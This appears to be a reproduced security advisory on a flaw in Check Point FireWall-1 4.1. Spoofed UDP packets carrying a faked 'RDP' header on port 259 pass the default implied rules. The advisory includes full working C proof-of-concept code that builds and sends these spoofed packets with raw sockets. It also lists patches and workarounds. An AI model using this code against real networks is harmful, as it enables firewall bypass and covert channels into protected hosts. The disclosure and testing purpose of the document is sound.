COMMAND

    Check Point FireWall-1

SYSTEMS AFFECTED

    Check Point VPN-1(TM) & FireWall-1(R) Version 4.1

PROBLEM

    Following is  based on  a Inside  Security GmbH  Advisory.   It is
    possible  to  bypass  FireWall-1  with  faked  RDP  packets if the
    default implied rules are being used.

    RDP (Reliable Data Protocol, but not the one specified in RFC 908,
    a Check Point proprietary one) is used by FireWall-1 on top of the
    User Datagram Protocol (UDP) to establish encrypted sessions.

    FireWall-1  management  rules  allow  arbitrary  eitherbound   RDP
    connections to traverse the  firewall.  Only the  destination port
    (259) and the RDP command  are verified by FireWall-1.   By adding
    a  faked  RDP  header  to  normal  UDP  traffic any content can be
    passed  to  port  259  on  any  remote  host on either side of the
    firewall.

    Implied  rules  can't  be  easily  modified or removed (except all
    together) with the FireWall-1 policy editor.

    Given access  to hosts  on both  sides of  a firewall  a tunnel to
    bypass  the  firewall  could  be  built  using this vulnerability.
    Such access  could be  gained with  a trojan  horse that uses this
    vulnerability to connect  from the inside  back to the  machine of
    the attacker.  But also arbitrary connections from the outside  to
    machines behind the firewall (even if they are supposedly  totally
    blocked  from  the  in-  and  outside  by  the  firewall)  can  be
    established, for example to communicate with infiltrated  programs
    like viruses.

    As FireWall-1 rulesets  are created they  are translated into  the
    INSPECT language (similar  to C) and  by default include  the file
    $FWDIR/lib/base.def which itself includes $FWDIR/lib/crypt.def  in
    line 259.  Together they  define protocol names and the  so called
    implied rules (for FireWall-1 management).   In line 62 the  macro
    accept_fw1_rdp  is  defined  to  accept any eitherbound connection
    that matches the following characteristics:
        - Protocol UDP
        - Destination port 259 (RDP)
        - RDP  Command RDPCRYPTCMD  (100), RDPCRYPT_RESTARTCMD  (101),
          RDPUSERCMD (150) or RDPSTATUSCMD (128).

    The        RDP        command        types        RDPCRYPT       =
    {RDPCRYPTCMD,RDPUSERCMD,RDPSTATUSCMD}   and   RDPCRYPT_RESTART   =
    {RDPCRYPT_RESTARTCMD} will permit  traversal of faked  RDP packets
    (regardless of the  value of NO_ENCRYPTION_FEATURES,  undefined by
    default).

    This vulnerability was found and documented by Jochen Thomas Bauer
    and Boris Wesslowski of Inside Security GmbH, Stuttgart, Germany.

    There has  been some  confusion about  the term  "RDP".   There is
    actually  a  protocol  called  "RPD  (Reliable Datagram Protocol)"
    described in RFC 908, which is directly based on the IP  protocol.
    However this is  not the same  as the proprietary  "Checkpoint RDP
    protocol".

    The Checkpoint RDP protocol is  basically a UDP service with  port
    259, the  packets for  this service  therefore have  the following
    structure:

                      #######################
                      #     IP Header       #
                      #######################
                      #    UDP Header       #
                      #######################
                      #    RDP Header       #
                      #######################
                      #      Payload        #
                      #######################

    The RDP header simply consists of:

                  bit 0                    31
                      ######################
                      #  RDP Magic Number  #
                      ######################
                      #    RDP Command     #
                      ######################

    or, expressing it in C

        struct rdp_hdr
         {
          unsigned int rdp_magic;
          unsigned int rdp_cmd;
         } rdp_head;

    The value of the RDP Magic Number has turned out to be  irrelevant
    for our purposes.  The numbers of those RDP commands that will  be
    permitted to pass the firewall without further processing  follows
    straight from the INSPECT include file $FWDIR/crypt.def.

    1.) Following is no  "Script-Kiddie" exploit, it will  not provide
        anyone with a means to instantly break into foreign hosts.
    2.) Any  cracker with  decent skills  and access  to a  Firewall-1
        machine  for  testing  purposes  will  in  the  meantime  have
        developed his/her own code to make use of this vulnerability.
    3.) Patches and workarounds  have been provided by  Checkpoint and
        others.  This proof of concept code will aid administrators in
        testing  their  systems   and  the  patches/workarounds   they
        applied.

    In our code, we construct  packets including IP and UDP  header to
    allow  testing  with  arbitrary  (spoofed)  source IP adresses and
    ports.  This code  has been written and  tested on SuSE Linux  7.1
    with  kernel  2.4.2.   It  should  (possibly  with  minor changes)
    compile on any other linux platform.

    /*
    Checkpoint FW-1 Version 4.1 "RDP Bypass Vulnerability" proof of concept code
    Copyright 2001 Jochen Bauer, Inside Security IT Consulting GmbH <jtb@inside-security.de>
    Compiled and tested on SuSE Linux 7.1
    This program is for testing purposes only, any other use is prohibited!
    */
    
    #include <stdio.h>
    #include <netinet/ip.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netinet/udp.h>
    #include <string.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <sys/types.h>
    #include <asm/types.h>
    
    /*See $FWDIR/lib/crypt.def for the following definitions.*/
    /*We set the highest bit, so that the RDP commands are */
    /*not members of the sets RDPCRYPTF and RDPCRYPT_RESTARTF*/
    #define RDP_PORT 259 /*RDP port*/
    #define RDPCRYPT_RESTARTCMD 101|0x80000000
    #define RDPCRYPTCMD 100|0x80000000
    #define RDPUSERCMD 150|0x80000000
    #define RDPSTATUSCMD 128|0x80000000
    
    /*---------------Checksum calculation--------------------------------*/
    unsigned short in_cksum(unsigned short *addr,int len)
    {
     register int nleft=len;
     register unsigned short *w=addr;
     register int sum=0;
     unsigned short answer=0;
    
     while(nleft>1)
      {
       sum+=*w++;
       nleft-=2;
      }
     if(nleft==1)
      {
       *(u_char *)(&answer)=*(u_char *)w;
       sum+=answer;
      }
     sum=(sum >> 16)+(sum & 0xffff);
     sum+=(sum >> 16);
     answer=~sum;
     return(answer);
    }
    /*----------------------------------------------------------------------*/
    
    /*------------Send spoofed UDP packet-----------------------------------*/
    int send_udp(int sfd,unsigned int src,unsigned short src_p,
                 unsigned int dst,unsigned short dst_p,char *buffer,int len)
    
    {
     struct iphdr ip_head;
     struct udphdr udp_head;
     struct sockaddr_in target;
     char *packet;
     int i;
    
     struct udp_pseudo        /*the udp pseudo header*/
     {
      unsigned int src_addr;
      unsigned int dst_addr;
      unsigned char  dummy;
      unsigned char  proto;
      unsigned short length;
     } pseudohead;
    
     struct help_checksum   /*struct for checksum calculation*/
     {
      struct udp_pseudo pshd;
      struct udphdr udphd;
     } udp_chk_construct;
    
     /*Prepare IP header*/
     ip_head.ihl      = 5;     /*headerlength with no options*/
     ip_head.version  = 4;
     ip_head.tos      = 0;
     ip_head.tot_len  = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
     ip_head.id       = htons(30000 + (rand()%100));
     ip_head.frag_off = 0;
     ip_head.ttl      = 255;
     ip_head.protocol = IPPROTO_UDP;
     ip_head.check    = 0;    /*Must be zero for checksum calculation*/
     ip_head.saddr    = src;
     ip_head.daddr    = dst;
    
     ip_head.check    = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));
    
     /*Prepare UDP header*/
     udp_head.source = htons(src_p);
     udp_head.dest = htons(dst_p);
     udp_head.len   = htons(sizeof(struct udphdr)+len);
     udp_head.check   = 0;
    
     /*Assemble structure for checksum calculation and calculate checksum*/
     pseudohead.src_addr=ip_head.saddr;
     pseudohead.dst_addr=ip_head.daddr;
     pseudohead.dummy=0;
     pseudohead.proto=ip_head.protocol;
     pseudohead.length=htons(sizeof(struct udphdr)+len);
     udp_chk_construct.pshd=pseudohead;
     udp_chk_construct.udphd=udp_head;
     packet=malloc(sizeof(struct help_checksum)+len);
     memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/
     memcpy(packet+sizeof(struct help_checksum),buffer,len);         /*checksum calculation*/
     udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+len);
     free(packet);
    
     /*Assemble packet*/
     packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
     memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
     memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
     memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,len);
    
     /*Send packet*/
     target.sin_family     = AF_INET;
     target.sin_addr.s_addr= ip_head.daddr;
     target.sin_port       = udp_head.source;
     i=sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+len,0,
                        (struct sockaddr *)&target,sizeof(struct sockaddr_in));
     free(packet);
     if(i<0)
       return(-1); /*Error*/
     else
       return(i); /*Return number of bytes sent*/
    }
    /*---------------------------------------------------------------------*/
    
    int main(int argc, char *argv[])
    {
     int i;
     unsigned int source,target;
     unsigned short int s_port,d_port;
     char payload[]="abcdefg"; /*payload length must be a multiple of 4*/
     char *data;
    
     /*RDP header, refer to $FWDIR/lib/tcpip.def*/
     struct rdp_hdr
     {
      unsigned int rdp_magic;
      unsigned int rdp_cmd;
     } rdp_head;
    
     if(argv[1]==NULL || argv[2]==NULL || argv[3]==NULL)
      {
       printf("Usage: %s source_ip source_port dest_ip\n",argv[0]);
       return(1);
      }
     else
      {
       source=inet_addr(argv[1]);
       s_port=atoi(argv[2]);
       target=inet_addr(argv[3]);
       d_port=RDP_PORT;
      }
    
     /* the command number can be one of the following: */
     /* RDPCRYPT_RESTARTCMD, RDPCRYPTCMD, RDPUSERCMD, RDPSTATUSCMD */
     rdp_head.rdp_cmd=htonl(RDPCRYPT_RESTARTCMD);
     rdp_head.rdp_magic=htonl(12345); /*seems to be irrelevant*/
    
     /*Assemble fake RDP header and payload*/
     data=malloc(sizeof(struct rdp_hdr)+strlen(payload)+1);
     memcpy(data,&rdp_head,sizeof(struct rdp_hdr));
     memcpy(data+sizeof(struct rdp_hdr),payload,strlen(payload)+1);
    
     if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)  /*open sending socket*/
      {
       perror("socket");
       exit(1);
      }
     i=send_udp(i,source,s_port,target,d_port,data,sizeof(struct rdp_hdr)+strlen(payload)+1);
     if(i<0)
       printf("Error, packet not sent\n");
     else
       printf("Sent %u bytes\n",i);
     return(0);
    }

SOLUTION

    The vulnerability has  been reported to  Check Point and  a fix is
    out. Workaround:
    - Comment line 2646 of crypt.def (accept_fw1_rdp;)
    - Deactivate implied rules in  the Check Point policy editor  (and
      build your own rules for management connections).
    - Block UDP traffic to port 259 on your perimeter router.

    Check  Point  uses  a  protocol  called  RDP  (UDP/259)  for  some
    internal communication  between software  components (this  is not
    the same  RDP as  IP protocol  27).   By default, VPN-1/FireWall-1
    allows  RDP  packets  to  traverse  firewall  gateways in order to
    simplify encryption  setup.   Under some  conditions, packets with
    RDP headers could be constructed  which would be allowed across  a
    VPN-1/FireWall-1 gateway without  being explicitly allowed  by the
    rule base.   A hotfix  is available  for immediate  download which
    addresses this issue.  Further details are available at

        http://www.checkpoint.com/techsupport/alerts/